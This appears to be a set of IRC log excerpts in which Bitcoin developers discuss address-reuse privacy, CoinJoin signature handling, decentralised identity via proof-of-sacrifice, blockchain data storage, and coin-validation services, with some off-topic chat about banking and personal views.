11:49 < phantomcircuit> TD, sorry to be annoying but can you check that pm
11:50 < TD> i didn't see it actually, poor irc client ui my end it seems ..
12:01 < helo> have altcoins implemented many items from https://en.bitcoin.it/wiki/User:Gmaxwell/alt_ideas ?
12:02 <@gmaxwell> helo: For the most part altcoins don't implement ideas. They search and replace strings.
12:02 < TD> sometimes, for added excitement, they search and replace hash algorithms or fee schedules.
12:02 < TD> but that's rare
12:02 < helo> those are some really neat ideas... it's a shame
12:03 < TD> with proof of stake and prime coin being notable exceptions
12:04 <@gmaxwell> TD: good email. ... I did learn one thing from the paper, although even in that it was wrong: They pointed out that if you send funds to a reused address it identifies your change. ... which isn't correct because some clients reuse their change addresses (doh), but igoring that its another example of how one person's reuse can thwart someone elses good
practices that I hadn't considered.
12:04 < helo> i doubt most of the altcoin devs have the skill to implement them correctly (i doubt i do either), but it seems like they'd at least try
12:09 < petertodd> gmaxwell: speaking of, I think as a general principle we want to encourage address re-use for any application where public info allows for address linkage anyway; address re-use is a way of letting others easily know the address is *not* private
12:10 < petertodd> gmaxwell: e.g. for coinjoin you can better protect your privacy sometimes by avoiding joins with parties that have re-used addresses in some cases.
12:11 <@gmaxwell> I dunno, public info isn't equally distributed. I'd rather be deanonymized by a forum post than data in the blockchain.
12:11 <@gmaxwell> But I see your point.
12:11 < petertodd> Depends on the attacker - my suspicion is the type that will do detailed tx linkage analysis will also have databases of forum posts and p2pool share data.
12:12 <@gmaxwell> with blockchain.info my grandma is an attacker, though not a terribly effective one.
12:13 < petertodd> yeah
12:13 < petertodd> Would be nice if there was a way to mark a scriptPubKey as "We've made this unique, but the info required to link it is something the <TLA> could find."
12:14 < petertodd> Where TLA \in (Cyber Grandmas of America, FBI, NSA, etc.)
12:23 < andytoshi> helo: IMO it'd be really frustrating to make big changes to bitcoind (though every day the devs make more progress toward modularity -- thanks guys!), so if you wanted to implement some serious ideas you'd be better off writing from scratch
12:23 < andytoshi> so there's not really anything between "zero work" and "a ton of work"
12:25 <@gmaxwell> meh, a number of those ideas would be quite selfcontained.
12:25 < helo> there is at least a similarly prohibitive steep gradient from "zero understanding" to "sufficient understanding"
12:26 <@gmaxwell> andytoshi: two additional features that might be interesting in your coinjoiner. The ability to give it an input with a threshold. E.g. join this if and only if you get at least 4 other things to join with... if I'm paying a fee to join I really don't want it to be some two party thing with some address reusing fool. :P
12:27 < andytoshi> gmaxwell: oh, good idea
12:27 <@gmaxwell> andytoshi: the other is that you probably should convert submitted signatures to canonical form... as differences in signatures might be privacy reducing to participants.
12:27 < andytoshi> right now i'm depending on "if you're ok using rawtx's, probably you aren't clueless"
12:28 < andytoshi> yes, good call, that also gels well with my true goal of "learn rust and understand bitcoin encoding in detail"
12:28 <@gmaxwell> In partcular the s/2 thing is enforced by bitcoin git but not 0.8.6 so their signatures are somewhat distinguishable.
12:28 <@gmaxwell> (for now it might be wise to randomize the s/2 characteristic, but later after 0.9 is out you should conver things to the canonical form)
12:29 <@gmaxwell> I'm not sure if anyone would submit to you padded r/s values or negative r/s values, but they might
some of the web signers in the past were broken. best to fix that.
03:51 < gmaxwell> Hopefully this is at least about something other than that thread.
03:52 < gmaxwell> That thread was metal "lost" in the mail. Insurance wouldn't cover it. coingenuity actually sent the guy replacement metal out of his own pocket, but the guy really wanted the bitcoins returned (the price of bitcoin went from $10 to $100 shortly after the sale)
03:53 < petertodd> ha
03:53 < gmaxwell> coingenuity believes (rightly or wrongly) that the guy was just trying to scam him into giving the coin back after he had regrets about the price going up.
03:54 < gmaxwell> and, as a result took forever to resolve it, I suppose something you could rightfully fault him for... in general a number of people have complaints about his services' timelyness, though having had a lot of discussion with coingenuity I'm generally pretty sympathetic.
03:56 < Luke-Jr> I seem to recall him saying he was having problems with banks though
03:56 < Luke-Jr> hopefully it didn't blow up into something
03:59 < Luke-Jr> gmaxwell: I do think the insurance refusing to cover it was ridiculous though
04:01 < Luke-Jr> (not that I doubt the insurance did something ridiculous)
04:01 < gmaxwell> Luke-Jr: yea thats been part of whats been causing him delays, you've heard that lots of people have had banks randomly closing accounts of people who mention Bitcoin. Now imagine that you're in a business moving hundreds of thousands of dollars of precious metal for bitcoin and dealing with banks...
04:04 < Luke-Jr> I hadn't heard that about banks (closing personal accounts who mention Bitcoin..)
04:04 < gmaxwell> amiller: FWIW, I think I originally proposed the hashlock for binding cross chain.
04:06 < gmaxwell> Luke-Jr: yea, us bank, capitol one, bank of the west, and chase are known to have closed random personal accounts on account of bitcoin activity.
04:06 < gmaxwell> Commercial accounts have had an even harder time.
04:18 < gmaxwell> amiller: in any case, please feel free to go post how awesome you think that transaction pattern is on the coinswap thread. petertodd likewise, posting some smart things would be nice.
04:18 < gmaxwell> Otherwise the thread may start off with derping people.
04:21 < adam3us> gmaxwell, Luke-Jr: you need a real bank, not one of those pennyante us jobs; credit-suisse/UBS with an actual swiss account, then any stupidity has to be approved by swiss court, and they dont take 'please do this' even from the US, they demand verifiable proof before they act; 'course you dont get one of those without $500k min deposit, but thats the
correct approach - disclose it on your tax forms, etc but you're outsourcing due-process to
04:22 < Luke-Jr> adam3us: do they do business with US citizens still? :o
04:22 < Luke-Jr> adam3us: and do they take initial deposits via wire? :p
04:22 < adam3us> luke-jr: fuck no
04:22 < Luke-Jr> aka bitcoins
04:23 < Luke-Jr> so not really an option
04:23 < adam3us> luke-jr: well i guess I jest, I think they would, though they will insist on disclosure
04:26 < adam3us> luke-jr: but seriously there is no sane reason anyone with > $500k liquid assets would keep a red cent in the US (or most other wesetern countries) . I am half swiss so i might be biased (mother is from Zurich)
04:27 < Luke-Jr> adam3us: I'm not sure US citizens really have a choice anymore. :/
04:27 < adam3us> luke-jr: it has zero to do with tax avoidance (do NOT do that, especially in the US) and everything to do with ensuring legal due diligence in any third party decisions about your wealth, and US is 100 yrs behind .ch in legal system impartiality & political independence, due process, etc
04:29 < Luke-Jr> I'm sure, but last I heard the US made it pretty much impractical for any non-US banks to do business with citizens
04:30 < maaku> some, not all
04:30 < maaku> there's some carribian banks that haven't felt the pressure yet
04:31 < adam3us> luke-jr: as I understand it, the result was .ch min deposit and min annual fee went up - they dont want to deal with US related admin costs unless its worth it
04:31 < Luke-Jr> I guess the hard part, if they really want $500k min deposit, will be getting a single $500k withdrawl from some exchange :/
04:34 < adam3us> luke-jr: its probably etiquette to go there with your passport for acct setup, zurich is a nice place, they are not offering anonymity, just the application of swiss banking confidentiality (pseudonymit with them holing your real id in escrow) - anything illegal by their laws, and with proof a swiss court has verified will be disclosed/seized; but the bar
is pretty high: proof of tax evasion, extortion, organized crime, terror is what its me
04:35 < Luke-Jr> I don't have a passport.
04:35 < petertodd> !
04:35 < maaku> Luke-Jr: if you can show assets (walk into a UBS branch with documentation), then they will work with you to handle the deposit over multiple transactions
04:35 < maaku> and get a passport
04:35 < Luke-Jr> adam3us: btw, your lines keep going over freenode's limit and getting cut off
04:36 < Luke-Jr> yeah, I should get a passport. but that's so much trouble.
04:36 < adam3us> luke-jr: there are other AAB+ rated swiss only banks (no branches or personnel outside .ch) that are more immune to real-politic foreign influence; the UBS problems a few yrs back were because of pressure the US could exert because UBS had US branches
04:37 < adam3us> luke-jr: i dont think the US actually has any literally any AAB+ rate banks period; if you want your money to still be there in 100 years, its the only option; i think the smart money is in these swiss only banks
04:38 < maaku> Luke-Jr: on the other hand, St. Vincent is only an hour or two away from you, doesn't require a passport, and has stricter secrecy laws than .ch
04:39 < adam3us> maaku: yes but i doubt st vincent has any AAB+ banks either, so if you are paranoid about the safety and continuity of your wealth (think Allen Stanford carribean bank scam), .ch is the gold standard
04:40 < adam3us> maaku: i know a guy here in malta, who's dad lost his shirt in the Stanford ponzi scam, the Stanford guy had put a lot of effort into building a credible bank profile and reputation
04:41 < Luke-Jr> no government lasts forever, not even .ch
04:41 < adam3us> luke-jr: they lasted longer than yours so far :P
04:41 < Luke-Jr> adam3us: which is all the more reason they might fall first :p
04:42 < adam3us> luke-jr: and they're politically neutral, armed to the teeth, and are holding 1/3 of the worlds offshore wealth, no one, not even the nazis wanted .ch to fail - politicians dont piss where they have their money hidden
04:42 < Luke-Jr> that was 50 years ago
04:43 < Luke-Jr> frankly, if I lived almost anywhere in Europe today, I'd probably be taking up arms against the government
04:43 < adam3us> luke-jr: they still have 1/3 of the worlds offshore money thats a big chunk of real-politic leverage
04:43 < Luke-Jr> maybe
04:44 < adam3us> luke-jr: .ch is also not politically part of .eu - they had a referendum and the citizens were against it
04:44 < Luke-Jr> adam3us: but they ratified the UN CRC
04:46 < adam3us> luke-jr: i think their focus as a country is to retain their gold standard banking status, because their livelihood depends on it, they have no natural resources other than cheap hydro, and they are almost the wealthiest country per capita in per capita income, they dont want to screw that up
04:46 < Luke-Jr> yeah, it might be good enough for just holding money
04:46 < Luke-Jr> but still, I'll have to figure out this passport nonsense first
04:47 < maaku> Luke-Jr: you can do it by mail. is there something holding up your case?
04:47 < adam3us> luke-jr: it aint that bad, get somebody to do the paper work for you - i hate paper work also
04:47 < Luke-Jr> maaku: pretty sure you can't here
04:47 < Luke-Jr> I think you have to go in and get fingerprinted and all sorts of garbage
04:49 < Luke-Jr> and yeah, I expect trouble with my case because of past legal problems with a certain insane State too
04:50 < adam3us> btw about this mintchip thing for bitcoin private keys, offline etc; i think the guy is missing to know about observer protocols, this can be done with an 8-bit smartcard CPU, not read coinswap yet is there another thread
04:50 < maaku> well unless it's a child support issue or your have outstanding warrants, i don't think they have the right to deny you
04:50 < maaku> sucks about the situation though, hope it gets sorted out
04:51 < Luke-Jr> maaku: yep, it's a child support issue
04:51 < adam3us> luke-jr: if you were serious about account, i do not think its a hard requirement to visit switzerland to setup an account, you'd have to ask them to check that is still the case (was about 10 yrs ago for sure)
04:52 < Luke-Jr> Nebraska thinks my wife and I should pay child support to the State for our children, because they kidnapped them for 3 years
04:52 < maaku> wtf.. jesus. that is fucked up, and yet not suprising. my condolances.
04:53 < Luke-Jr> (which is a big part of why I have zero tolerance for the UN CRC which purports to do away with parental rights entirely)
05:00 < petertodd> Too bad organizations like http://www.parentalrights.org seem to be all coming from the "strict parental rights" side of things - myself I'm in favor of something more like a third option where for many issues neither the state nor the parents should have rights over their children. (IE access to contraceptives should be something neither the state nor
parents should be able to prevent)
05:02 < Luke-Jr> contraceptives should be blanket illegal for everyone in all cases
05:02 < petertodd> ha, I thought Catholic thinking on that subject had been relaxed these days?
05:02 < Luke-Jr> Catholic teaching is perfect and thus never changes.
05:03 < petertodd> Don't you mean our records of the past teachings of the Church must be wrong?
05:03 < Luke-Jr> no.
05:03 < petertodd> (aka, the 1984 doctrine :P)
05:04 < Luke-Jr> I have no idea what you're talking about.
13:14 < petertodd> sipa: OpenPGP actually does have some limited signing bits that you can use for that kind of thing. Poorly understood as you say.
13:14 < sipa> s/GPG/PGP/
13:15 < petertodd> sipa: Heck, jdillon signed my key back, and signed the photo packet... if he verified that, I have a stalker.
13:16 < petertodd> jgarzik: Sounds great, but how will you boil it down to something really simple for the algorithms? Do you think a key-value store is sufficient?
13:16 < jgarzik> petertodd, That's the tough part. Where/how to store this decentralized identity database.
13:17 < jgarzik> petertodd, That's why I was looking into miner sacrifices
13:17 < jgarzik> If you associate a cost to identity creation, hopefully flooding is prevented
13:17 < petertodd> jgarzik: Yeah... too bad gmaxwells bytecoin doesn't exist.
13:17 < jgarzik> and if flooding is prevented, then it is likely easier to convince people to P2P-share the database
13:18 < jgarzik> a la blockchain
13:18 < petertodd> jgarzik: Of course, key-value in the blockchain has been suggested over and over, and aside from bloat it's a reasonable idea as all you need to know is that someone else can't claim they have the most recent pair.
13:19 < jgarzik> It would be nice if adding new merge-mined chains was easier
13:19 < petertodd> I dunno, I'm skeptical about merge-mining stuff like that, because the incentives to actually do it are weak.
13:20 < jgarzik> petertodd, miners and pools definitely respond to "easy additional income, for the same amount of work" incentives
13:20 < petertodd> I have the same problem distributing fraud-proofs for fidelity-bonded banks: you have to be able to prove that a fraud proof *wasn't* made in the past, and the only way to reasonably do that is have a data storage service with consensus on it's contents.
13:20 < jgarzik> yep :/
13:21 < petertodd> jgarzik: Which is the problem. The incentive can just as easily be "PGP-CA blockchain isn't used that much, lets kill it for the lulz"
13:21 < petertodd> jgarzik: It wouldn't be an issue, except for the fact that you need to be able to sell fidelity bonds if you've been honest to solve the "service own retiring" problem, and selling them is only reliable if you can be sure it's not a tainted identity.
13:21 < jgarzik> I really think this decentralized identity project could be huge, though. Create an identity, create a market, trade, dispose of market. Coalesce, exchange, disperse. Automatic markets, anywhere, anytime. The main linking factor is your identity.
13:22 < jgarzik> yeah
13:23 < petertodd> Possibly. I mean, the bigger question si what exactly is being bought and sold? Now digital goods are an option, but lots of classes of stuff really does need real-world identities.
13:23 < petertodd> for instance really general colored coins for real-life business stocks seems kinda crazy to me
13:23 < petertodd> (other than just an accounting system)
13:24 < jgarzik> If you have a SIN, you can collect endorsements (digital signatures) from third parties, proving your real world identity
13:25 < jgarzik> But each SIN holder chooses what endorsements to add, which to publish, which to keep private
13:25 < petertodd> Heh, get governments in on it and some of the endorsements can be pretty damn direct...
13:26 < jgarzik> Just need a central root point for each identity, to digital sign (for example) permission-to-see-my-identity
13:26 < jgarzik> indeed
13:26 < jgarzik> Just thinking about how to export it over the Internet, in a secure fashion
13:26 < jgarzik> Your SIN, your crypto-identity, should be able to securely link to other identity systems
13:27 < petertodd> Well, I mean if you can get a consensus on a big, timestamped, H(key)-H(value) table the actual transport can happen in a lot of ways - the receiver will always know they either got the true key-value by checking that H(key) H(value) matches.
13:28 < jgarzik> agreed
13:28 < petertodd> With that, transport on systems like DHT is a *lot* more acceptable.
13:28 < petertodd> It's too bad cryptographic accumulators don't quite work the way we want them too here...
13:29 < petertodd> Unfortunately I think you're basically forced into a blockchain here.
13:29 < petertodd> Albeit one that only needs 32+32=64 bytes per UTXO entry.
13:29 < petertodd> ...and what blocksize? (ducks)
13:29 < jgarzik> hehehe
13:30 < petertodd> Actually, seriously speaking, I'd namespace it to (semi)-solve that problem.
13:30 < jgarzik> petertodd, explain? not sure what you mean
13:31 < petertodd> By namespace I just mean separate it into multiple blockchains, so that you can prune all but what you are actually interested in.
13:31 < jgarzik> ah, indeed
13:31 < petertodd> You still have to deal with bandwidth for all k-v pairs though, or you won't know if the POS's used to create them are valid.
13:32 < petertodd> (IE, that's the equivilant of an invalid block in the system)
13:32 < jgarzik> yep
13:32 < jgarzik> thus, The Difficult Part
13:32 < jgarzik> if it can be solved, decentralized identity Will Be Big
13:33 < jgarzik> PoS might also be needed/used for changing, not just identity creation
13:34 < petertodd> Well, do it hiarchical, with a top-most k/v store, with the k's being the state of the next level of k/v store.
13:34 < petertodd> See, basically you want to be sure you haven't missed any updates.
13:34 < petertodd> ...although, no, that still doesn't work, because of withholding attacks...
13:35 < petertodd> Yeah, I'd be inclined to do PoS for every update basically.
13:36 < petertodd> Oh, and here's another mental model: see what you have with this database, is the ultimate cryptographic accumulator that works the way you want it too: arbitrary checking if p in S
13:39 < petertodd> Your block header algorithm can actually be kinda interesting too... so you need to do on-chain Bitcoin POS transactions right? Make those transactions in a way that is distinguishable - IE you can tell if a given tx may have been part of the chain - and have your best block selection be the sum of all sacrifices.
13:40 < petertodd> Now if someone does a withholding attack, it's still ugly, but at least you can sacrifice more Bitcoins than the PoS's whose contents you *don't* know about and be sure your now on the best chain. Your incentive, assuming the system is used, is to then broadcast your data widely so others sacrifice on top of your sacrifices.
13:41 < petertodd> Basically the 51% attack is now sacrifice more Bitcoins than the sum of all Bitcoins sacrificed. Not great, but at least it's easily measurable security.
13:41 < petertodd> Does have ugly issues if Bitcoin's value crashes...
13:42 < petertodd> But maybe that doesn't really matter, the Bitcoin PoW would be vulnerable anyway.
13:44 < petertodd> This whole scheme does depend on independent miners: the fact you're "mining" this blockchain is easily visible by the fixed namespace ID's. You may find a 51% majority conspiring to block your foo-k/v namespace for whatever reason.
13:45 < amiller> for the PoS thing you're talking about, the way to solve my objection with it (that there's nothing at stake) is to make it so the sacrifice is a sacrifice even if the block containing the sacrifice isn't selected
13:45 < amiller> if you do work on a PoW fork attack, your work is wasted if you fail
13:46 < amiller> meaning if your attack fork doesn't end up being taken as the main chain
13:46 < jgarzik> petertodd, yeah, if bitcoin dies we're fucked anyway ;p
13:46 < petertodd> amiller: Absolutely. It *must* be a genuine Bitcoin sacrifice, like an announce/commit sacrifice or anyone-can-spend coinbase output.
13:46 < amiller> so maybe you could fix that by saying that your best selection is the sum of all sacrifices, such that the transaction sacrifices are valid on every chain even the ones you didn't select?
13:46 < jgarzik> petertodd, BTW, what is the current favorite anyone-can-spend?
13:46 < amiller> ok sure anyone-can-spend coinbase
13:46 < jgarzik> OP_TRUE or somesuch
13:47 < petertodd> jgarzik: anyone can spend coinbase is shortest, for general use w/o miner help I haven't come up with anything better than announce/commit
13:47 < petertodd> amiller: ooh, that's a very good idea
13:48 < jgarzik> amiller, interesting
13:48 < jgarzik> a bit of a variant on total work
13:48 < petertodd> amiller: and your "block headers" are very similar to what merge-mined alt-coins carry around anyway
13:51 < petertodd> oh, and with anyone-can-spend coinbase output, the priority block # is obviously just the block #, however with announce-commit that's trickier
13:52 < jgarzik> I need to collect this into a wiki page somewhere
13:52 < petertodd> well, actually, maybe it doesn't matter... priority is independent per k-v pair, so if your announce commit means some of your k-v block was invalidated by a later update, it doesn't matter that much
13:53 * jgarzik wishes there was a crypto-wiki, rather than stuffing everything on en.bitcoin.it. I suppose a github .md or gist will suffice.
13:53 < jgarzik> There definitely needs to be very high priority k-v's, and then secondary ones. the primary, high prio ones are the root for other attestations/proofs/signatures
13:53 < petertodd> also, before I forget, actually pure k-v isn't really enough for most things, you probably need signatures so that once you establish that you own a k-v pair, you can update it with a signed update
13:53 < warren> Wow. BFL sent me a refund after 1 day.
13:54 < jgarzik> Tempting to say that ultra-high-prio ones simply cannot be changed. Create an identity with a certain number of immutable k-v's.
13:54 < petertodd> and on top of this, so don't forget you can use a merkle sum tree with your k-v pairs if you want a system where each pair has an individual sacrifice amount
13:55 < jgarzik> Some services, I imagine, would want that. A third party service might require a specific sacrifice, or real world protocol of some sort.
13:36 < petertodd> But the point is, those anonymous businesses are associated with industries where the customers don't seem to care as much, and in addition the anonymity means their backend stuff is often very obscured. (I'm sure someone is timestamping log files for something, but good luck ever figuring out who they are)
13:38 < gmaxwell> uh, what the heck were you proposing where such a business needs generic worldwide visiblity unjammablity?
13:38 < petertodd> Announce/commit sacrifices are the cannonical example.
13:39 < petertodd> Fraud proofs are another, that's a case where the existance of a "fall-back" way of ensuring global visibility is really valuable even if you have lesser means like merge-mined chains.
13:39 < gmaxwell> But they dont
they need visiblity to the interested parties.
13:40 < gmaxwell> I'm struggling to come up with something which needs visiblity to _disinterested_ parties.
13:40 < gmaxwell> (esp since you can't, you know, make people who don't care pay attention)
13:40 < petertodd> The problem is the only way to prove visibity is by proof-of-work or proof-of-stake, and the former gets really scary fast due to the large pools out there.
13:41 < gmaxwell> but that isn't solved by making things clear-visible in the blockchain.
13:41 < petertodd> The latter is ugly because it's active, and can tightly couple finance into a system where the attack is losing money if the data is made public.
13:42 < gmaxwell> e.g. so you put data in the clear in the blockchain, but thats no proof that anyone who mattered actually noticed it there even if they had the data available to them.
13:42 < petertodd> Sure it is: if it's in the Bitcoin blockchain I can be damn sure that anyone who was interested could have seen it. If it's a merge-mined chain with low hash rate it would be very easy for that data to be hidden by an attacker.
13:43 < gmaxwell> In fact, you've already proved it
you've made all kinds of weird transactions which people could have redeemed and either didn't or took a long time to do so. (or required you pointing them out at least)
13:43 < petertodd> Right, but in any system actually using this stuff the interested parties will look if it matters, and if no-one is interested, so what?
13:44 < gmaxwell> at least the merged mined thing actually creates evidence of seeing it by someone who (programmatically) cares.
13:45 < gmaxwell> We could also introduce a general mechenism for this kind of thing which doesn't create any perpetual storage, I suppose.
13:45 < petertodd> Take the example of a fidelity bonded bank where you want to sell your bank, but also want to be sure that no-one has committed fraud but withheld the fraud proof: you wan to be able to say "if it's not in some blockchain, the fraud never happened"
13:46 < gmaxwell> and, yet, you can still do that just in terms of sum difficulty of a merged mined chain.
13:46 < petertodd> Sure, and you can do that if, for instance, we have UTXO posession proofs as part of the proof-of-work function, and they you would show via UTXO proofs that the data existed in the UTXO set and people posessed it, but they can drop it after the fact. (need a hard fork due to some details obviously)
13:47 < petertodd> gmaxwell: Of course, my point is any merge mined chain will always be inferior to Bitcoin because it will always have a lower hash rate, *or* the system has effectively become part of Bitcoin anyway.
13:47 < gmaxwell> (or sum-stake, or signed by some trusted observer or all of the above)
13:48 < petertodd> Basically have some data in a transaction that you don't need to proove the transaction is valid, but you do need to temporarily posess to fufill your proof-of-posession PoW.
13:48 < gmaxwell> petertodd: okay, let me grant that: but being part of bitcoin itself isn't the same thing as sticking all data at the root level.
13:49 < gmaxwell> As it is today there is no way to do finite lifetime data in bitcoin, and everything you're talking about needs _at most_ finite lifetime.
13:50 < petertodd> Of course, but that's where my temporary forced storage scheme is useful, but that's a soft-fork at minimum and more likely people with the need will just keep stuffing their data into the blockchain.
13:51 < gmaxwell> okay, welll certantly, you can say that a mechenism for temporary storage is virtuious even if we still hold the view that forced non-currency-data storage is wrong and should be technically defeated where possible.
13:53 < petertodd> Exactly. Point is figure out those technical solutions and make them work - don't go whining about social responsibility and "consent" as Luke does because the whole point of Bitcoin is to replace social mechanisms with technical ones, so work within that paradigm.
13:54 < petertodd> Not to mention how bizzare it is to be complaining about people creating prunable data, yet we won't say a thing about low-values transactions. The technical impact of both types of data is exactly the same - the archival blockchain gets bigger. (UTXO bloat is of course another matter, but that's solidly a design flaw)
13:55 < gmaxwell> hah. It's not like the technical stuff appears whole cloth in a vacuum. First it must justify our social responsibility. Absent consent the security of the technology is paper thin.
13:56 < gmaxwell> "won't say a thing" uh, we just nuked very tiny output creation.
13:56 < gmaxwell> And
low value txn is pretty tricky: we don't know where the dividing line is.
13:57 < petertodd> Yes, and I did say that UTXO bloat is a design flaw; nuking tiny output creation is an example of a patch to try to fix that design flaw.
13:57 < gmaxwell> Vs it's easy to say Bitcoin is not a @#$@# storage locker for your nuddies or whatever. :P
13:57 < gmaxwell> harder to actually stop it, but at least agreeing on the goal is easier.
13:57 < petertodd> ...but then is it ok to use bitcoin as a proof-of-visibility for your financial application?
13:58 < gmaxwell> Not really, for one
it just won't work. Limited channel capacity will make that unpredictably fail for you.
13:59 < petertodd> Limited channel capacity makes the entire *system* fail unpredictably by that logic.
13:59 < petertodd> There are *lots* of applications where the fact that the channel capacity is limited is not only acceptable, but actually kind of a good thing.
13:59 < gmaxwell> It makes the future system's scale uncertian. But bitcoin doesn't just fail because it becomes slow to make transactions, your financial application certantly might.
14:00 < gmaxwell> kind of a good thing
sure, and bitcoin itself is one of them. But the challege there is limited channel where the capacity gets eaten up by _something else_ is not so obviously a good thing.
14:01 < petertodd> Any financial application will need to make transactions; you can easily design your need for data bandwidth to correspond to your need for transaction bandwidth.
14:02 < petertodd> Part of that design is of course determining how resistant you want to be to efforts to stamp out data in the blockchain, but you can always get some amount of data in there so the option always exists.
14:03 < gmaxwell> Okay, well we go back to my comment earlier that some small sidechannel
like 32 bytes per transaction
is probably something we can tolerate because there are just too many useful things that cannot be done without it. So figure out how to fit into that model and _MAYBE_ you have something that is still viable, maybe. Not certantly: since if the whole
world was using bitcoin it isn't clear that any particular user would be able to get
14:04 < gmaxwell> But anything more than that, and it's not clear that it wouldn't trivially be stampped out by the first persistant effort to really cram in some nasty stuff in the broadcast channel.
14:04 < petertodd> But that's the thing: a sidechannel of any size just puts a price on the data relative to a transaction. We can push that price one way or another, but we know we want make that price infinity - there are just too many ways to stuff data in transactions.
14:04 < gmaxwell> I mean. jesus, don't design business plans that can be shut down by a bored 12 year old.
14:05 < gmaxwell> petertodd: we can make anything that has uxto storage be a hash preimage.
14:05 < jgarzik> hehe that says it all ;p
14:05 < petertodd> I'm not talking about UTXO storage, I'm talking about in-blockchain data.
14:06 < petertodd> UTXO storage is something we can go very far in preventing, up to having to perform partial hash collisions, but in-blockchain data isn't something we can stop - you can always play games with pubkeys.
14:08 < gmaxwell> petertodd: oh, well I'm actually far less concerned with that, as you can simply puncture the validation rules. There is a balance that provides adequate pratical security.
14:08 < petertodd> puncture the validation rules?
14:08 < gmaxwell> There are plenty of people who think it would be perfectly sane to just forget all the spent txo before height 210000 or whatever.
14:08 < petertodd> Ah, yeah, which for the proof-of-visibility application is completely fine.
14:09 < gmaxwell> Not just in a pruning sense, but completely.
14:09 < jgarzik> I still like the idea of modifying my OP_RETURN patch to permit standard, spendable transactions || size <= 80
14:09 < gmaxwell> Depends on what you're trying to prove visible to who.
14:09 < jgarzik> gmaxwell, in this case, https://en.bitcoin.it/wiki/Identity_protocol_v1
14:09 < petertodd> Sure, but you can always prove your data was as visible as any other blockchain data in the time period, and that's all you need frankly.
14:09 < jgarzik> (that was the genesis of this whole proof-of-visibility discussion)
14:10 < jgarzik> indeed
14:11 < petertodd> jgarzik: ...and I strongly think OP_RETURN should be slightly cheaper at stuffing data in the blockchain than the P2SH+multisig games that we can-not stop, as a harm reduction measure
02:22 < gmaxwell> (they don't attack their bitcoin daemons because the attackers can't reach them)
10:10 < adam3us> btw people seemed to prefer hidden tx to committed tx as a descriptive name, but i chose the name originally as it is using a bit-commitment
10:10 < adam3us> (re conversation yesterday with gmaxwell, jtimon, maaku and a few others)
16:20 < gmaxwell> http://www.forbes.com/sites/kashmirhill/2013/11/13/sanitizing-bitcoin-coin-validation/ ... sigh.
16:21 < sipa> as long as they can do their job, our privacy isn't good enough
16:21 < gmaxwell> Right.
16:22 < gmaxwell> Making privacy better will be harder when people have made a business out of undermining it... though perhaps there will be more interest in improving it.
16:22 < sipa> so maybe that does provide a useful service''' making people realize that privacy needs actual work
16:23 < gmaxwell> Indeed. I guess we'll see how the harm
investment in screwing up privacy and promoting that privacy must be removed
balances against the benefit
making people realize that privacy is a problem.
16:46 < adam3us> man what a bad idea
16:47 < adam3us> (coin alidation)
16:48 < gmaxwell> maybe they'll pull a mastercoin next and raise a million dollars to fund their attack on bitcoin's fungibility? :P
16:48 < adam3us> need to figure out some way to compact committed tx without revealing
16:48 < adam3us> msc = moral hazard
16:50 < gmaxwell> Another interesting element to this risk: If we don't fix the bitcoin ecosystem to make these businesses impossible it becomes more likely that some bitcoin clone which fixes them out of the box (perhaps just using things we could 'easily' deploy) will replace bitcoin.
16:51 < adam3us> gmaxwell: well so far we didnt figure out a fix - if we do i might start to soften my anti-alt stance if it was the only way to do it, but i think i'd go for staging method
16:51 < gmaxwell> adam3us: I think we have adequate fixes already.
16:51 < adam3us> gmaxwell: it seemed for a while there was actual interest in making an all zc alt for example; hal finney thought it was a cool idea
16:52 < gmaxwell> E.g. if all wallets were automatically doing coinjoins and coinswaps then such a business wouldn't be vilable.
16:53 < gmaxwell> you don't have to have perfect anonymity to throughly break that kind of business.
16:53 < adam3us> gmaxwell: yes. it's clearly an improvement. but i'd really like to see if anyone can figure out some crypto enforced fungibility
16:54 < gmaxwell> it's hard to even deploy that though, esp with funded attacks on privacy. The nice thing about things that don't change the network is that people can say "well, there is nothing we can do about that".
16:54 < adam3us> gmaxwell: if u could get clients to upgrade, they may work harder on analysis however - its like crap 1st gen security, it engenders an arms race of heavily funded 2nd gen attacks etc (sat tv content scrambler story)
16:55 < adam3us> gmaxwell: true, you are "just" using core features
16:56 < gmaxwell> adam3us: the security provided by coinjoins and coinswaps is not pretextual though. So yea, more powerful analysis weakens user privacy but but even assuming an optimal attacker, they do improve privacy.
16:56 < gmaxwell> a
16:57 < gmaxwell> adam3us: dunno if you played with the ZC codebase a lot... it ... doesn't seem too easy to integrate in a sane way.
16:57 < adam3us> gmaxwell: "hard to even deploy... esp with funded attacks on privacy."
16:57 < adam3us> gmaxwell: meaning? the network needs distribution or the anti-privacy lobby tries to shut it down early?
16:58 < gmaxwell> E.g. Peter Vessenes attacking bitcoin privacy at the conference .. until some folks pulled him aside and pointed out the fungiblity problems.
16:58 < adam3us> gmaxwell: no i didnt look at zc code
16:59 < gmaxwell> adam3us: the problem with changing the network is that you can't (safely) use the changes until some super majority of nodes, including jumpy business participants like mtgox, deploy the changes. There is a coordination problem there, and no real way to ease into it.
16:59 < adam3us> gmaxwell: here's my versoin of what could be done, i think you reache similar tec conclusions: full anon fungibiity, opaque pricvacy (user knows who's paying) rest as now; then you can subpoena recipient
17:00 < adam3us> gmaxwell: yes; maybe staging helps.. then they are bicoins and you can step in and out of them via p2p exchange
17:00 < gmaxwell> The people who see themselves as "working with" regulators can very easily be pushed into a corner where they oppose this stuff. Good luck deploying a soft fork with the foundation opposing it. So thats why I think at least within bitcoin privacy features can't be driven by the network.
17:00 < adam3us> gmaxwell: if gox doesnt take staging, swap them for bitcoin main coins first
17:02 < adam3us> gmaxwell: mere thought of foundation opposing on political grounds (cringe). the fork threat may not be enough ebcause of all these bitcoin businesses f the users depend on the businesses more than the biz depends on users
17:03 < gmaxwell> right.
17:04 < adam3us> gmaxwell: ok, but we can play games too; work out minimum required and otherwise useful enabling chnges, wait 6months, start using them
17:04 < gmaxwell> (In general thats why I've been really skeptical about "businesses will run full nodes!" as an argument for long term preservation of the system invariants... historically business interests tend to be very short term, and they haven't done a good job driving good monetary policy in other economicies)
17:04 < adam3us> gmaxwell: eg say coinjoin could work so much better if you had useful change x that also has useful biz value... etc you get it
17:06 < adam3us> gmaxwell: biz cant see past the next quarter, 2yrs if you're lucky; and unfortunately most suits dont much think or care about user/community interests - i mean this stuff could have society level implications if screwed up by a few ignorant/selfish suits
17:08 < adam3us> anyway put your thinking cap on :) this problem must be fixed
17:09 < adam3us> another opportunity btw is the scaling point if offchain tx are needed, biz will be desperate to use them, devs figure out how to do it, implement it, fix a few ills along the way
17:13 < adam3us> (forbes article)"
